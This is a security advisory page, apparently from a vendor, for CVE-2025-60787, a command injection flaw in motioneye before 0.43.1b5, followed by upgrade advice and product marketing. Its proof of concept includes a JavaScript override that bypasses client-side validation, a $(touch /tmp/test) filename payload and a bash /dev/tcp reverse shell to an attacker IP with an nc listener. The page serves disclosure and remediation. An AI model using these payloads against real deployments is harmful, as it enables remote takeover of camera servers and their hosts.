motioneye

CVE-2025-60787

CVE-2025-60787 is a high-severity OS command injection vulnerability in motioneye (pip), affecting versions < 0.43.1b5. It is fixed in 0.43.1b5.

Key facts
CVSS score
7.2
High
Attack vector
Network
Issuing authority
GitHub Advisory Database
Affected package
motioneye
Fixed in
0.43.1b5
Disclosed
2025

Summary

Summary A command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges). Details Root Cause: MotionEye accepts arbitrary strings from fields such as imagefilename and moviefilename in the Web UI. These are written directly into /etc/motioneye/camera-.conf. When MotionEye restarts the Motion service (motionctl.start), the Motion binary reads this configuration. Because Motion treats these fields as shell-expandable, injected characters (e.g. $(), backticks) are interpreted as shell commands. Vulnerability flow: Dashboard (Web UI) ↓ ConfigHandler.setconfig() ↓ camera-.conf written ↓ motionctl.restart() ↓ Motion parses config → executes payload Affected code: The issue arises in how config.py handles user input before writing to config files. No sanitization or allowlisting is applied to filename fields. Proof of Concept (PoC) The following steps reproduce the Remote Code Execution (RCE) vulnerability in MotionEye. Tested using the official Docker image. Environment Setup Start MotionEye container Launch the vulnerable container: bash docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge Verify version Confirm the running version inside logs: bash docker logs motioneye | grep "motionEye server" Result: motionEye server 0.43.1b4 <img width="741" height="168" alt="versionver" src="https://github.com/user-attachments/assets/ac85d238-da7f-4274-9381-0119c01a1320" /> Container shell access (for verification later) Keep a shell handy to verify results: bash docker exec -it motioneye /bin/bash ls -la /tmp Exploitation Steps Access Web Interface Open browser at: http://127.0.0.1:9999 Login with default credentials: admin / (blank password) Add a sample RTSP network camera (required to enable camera-specific settings). <img width="1623" height="869" alt="addcamera" src="https://github.com/user-attachments/assets/d506a891-8b80-4b69-84f2-b195fcaca0cc" /> Attempt malicious filename input Go to: Camera Settings → Still Images In the Image File Name field, try: bash $(touch /tmp/test).%Y-%m-%d-%H-%M-%S Observation: This is blocked by client-side validation in the browser. <img width="739" height="104" alt="er1" src="https://github.com/user-attachments/assets/817549fc-5cb2-4959-b29d-5cec745e096b" /> <img width="611" height="90" alt="er2" src="https://github.com/user-attachments/assets/a68eec73-bade-4cc5-b65b-4fc2dfbc7f01" /> Client-Side Validation Discovery The check is implemented in JavaScript: /static/js/main.js?v=0.43.1b4 → references /static/js/ui.js?v=0.43.1b4 Example validation function: javascript function configUiValid() { $('div.settings').find('.validator').each(function () { this.validate(); }); var valid = true; $('div.settings input, select').each(function () { if (this.invalid) { valid = false; return false; } }); return valid; } Bypass Validation Open browser console (F12 → Console tab) Override the function to always return true: javascript configUiValid = function() { return true; }; This bypasses client-side validation and allows arbitrary values. <img width="819" height="539" alt="bypass" src="https://github.com/user-attachments/assets/c18d50cf-1f41-4f31-a23b-23ade9babaa2" /> Inject Payload Set Capture Mode: Interval Snapshots Set Interval: 10 Set Image File Name to the payload: bash $(touch /tmp/test).%Y-%m-%d-%H-%M-%S Click Apply to save settings. <img width="565" height="344" alt="injectpayload" src="https://github.com/user-attachments/assets/f23e76b2-6af3-490d-bce3-60ac3f96241e" /> Verify Execution Inside the container shell: bash ls -la /tmp Result: File /tmp/test is created with root permissions, confirming code execution. <img width="554" height="164" alt="verify" src="https://github.com/user-attachments/assets/11122ba8-becf-4657-bc87-f88f293e8b02" /> Weaponizing RCE (Reverse Shell Example) Start attacker listener bash nc -lvnp 4444 Inject reverse shell payload Enter the following into the Image File Name field: bash $(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S Result A reverse shell connects back to the attacker’s machine. Attacker gains full control of the MotionEye container environment. <img width="1140" height="366" alt="final" src="https://github.com/user-attachments/assets/2a8f650f-68f3-43b2-8594-08d5035c16b9" /> Root Cause MotionEye writes unsanitized values (e.g., imagefile_name) from the Web UI directly into camera-<id>.conf. On restart, the motion binary parses these fields as shell-expandable strings, leading to arbitrary command execution. Impact Type: OS Command Injection → Remote Code Execution Who is impacted: Any MotionEye deployment where attackers can authenticate as admin (or where the UI is left exposed with default/no password). Containerized and bare-metal installs alike. Potential consequences: Full compromise of MotionEye container. Lateral movement or host compromise if the container runs with privileged permissions or mounts sensitive host volumes.

Impact

What is OS command injection?

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

Severity and exposure

CVE-2025-60787 has a CVSS score of 7.2 (High). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment.

A fixed version is available (0.43.1b5). Upgrading removes the vulnerable code path.

Affected versions

pip

  • motioneye (< 0.43.1b5)

Security releases

  • motioneye → 0.43.1b5 (pip)
Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter instead of chasing every advisory.

Kodem's Application Detection and Response identifies whether CVE-2025-60787 is reachable in your applications. Explore runtime application protection for your team.

See if CVE-2025-60787 is reachable in your applications. Get a demo

Already deployed Kodem? See CVE-2025-60787 in your environment

Remediation advice

Upgrade motioneye to 0.43.1b5 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently asked questions about CVE-2025-60787

What is CVE-2025-60787?

CVE-2025-60787 is a high-severity OS command injection vulnerability in motioneye (pip), affecting versions < 0.43.1b5. It is fixed in 0.43.1b5. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.

How severe is CVE-2025-60787?

CVE-2025-60787 has a CVSS score of 7.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.

Which versions of motioneye are affected by CVE-2025-60787?

motioneye (pip) versions < 0.43.1b5 is affected.

Is there a fix for CVE-2025-60787?

Yes. CVE-2025-60787 is fixed in 0.43.1b5. Upgrade to this version or later.

Is CVE-2025-60787 exploitable, and should I be worried?

Whether CVE-2025-60787 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo

What actually determines whether CVE-2025-60787 is exploitable, and how bad it is?

Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.

How do I fix CVE-2025-60787?

Upgrade motioneye to 0.43.1b5 or later.

Stop the waste.
Protect your environment with Kodem.